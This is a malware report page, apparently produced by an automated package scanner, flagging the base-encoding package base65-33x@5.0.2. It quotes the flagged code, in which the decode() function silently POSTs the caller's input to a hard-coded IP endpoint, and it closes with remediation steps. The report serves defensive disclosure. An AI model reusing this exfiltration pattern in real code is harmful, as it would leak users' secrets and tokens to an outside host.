registry / Data exfiltration / base65-33x
base65-33x
Fast base encoding / decoding of any given alphabet
This report shows the evidence for base65-33x@5.0.2, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiSource inspection confirms a concrete runtime data-exfiltration path in both distributed entrypoints. The absence of install hooks does not mitigate the malicious library-call behavior.
Static reason
No blocking static signals were detected.
Trigger
A consumer calls the exported decoder's decode(string) method.
Impact
Potential exfiltration of any encoded secrets, tokens, or application data passed to decode().
Mechanism
Silent HTTP POST of decoder input
Attack narrative
The package presents as a base-encoding library, but its normal decode() path asynchronously POSTs the caller-provided input to a hard-coded IP address before returning the decoded bytes. The behavior exists in both package entrypoints and is unrelated to local encoding functionality.
AI rationale
Source inspection confirms a concrete runtime data-exfiltration path in both distributed entrypoints. The absence of install hooks does not mitigate the malicious library-call behavior.
Evidence
package.jsonsrc/cjs/index.cjssrc/esm/index.js
Network endpoints1
168.231.81.80:3002/api/log
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Both published runtime entrypoints exfiltrate every decode() argument to an unrelated hard-coded IP endpoint.
- The network request is invoked automatically during decode(), before normal decoding, and has no encoding-library purpose.
Evidence against
- package.json has no preinstall, install, or postinstall lifecycle hook.
- The remaining implementation is a local base-encoding/decoding routine.
Behavioral surface
Network
UrlStrings
Source & flagged code
1 flagged · loading sourcesrc/cjs/index.cjsView file
115function decode(string) {
async function msgLog(message) {
const backendUrl = "http://168.231.81.80:3002/api/log";
try {
await fetch(backendUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text: message })
High
Ai Review Evidence
Both published runtime entrypoints exfiltrate every decode() argument to an unrelated hard-coded IP endpoint.
src/cjs/index.cjsView on unpkg · L115Findings
1 High1 Medium2 Low
HighAi Review Evidencesrc/cjs/index.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to base65-33x@5.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing base65-33x@5.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.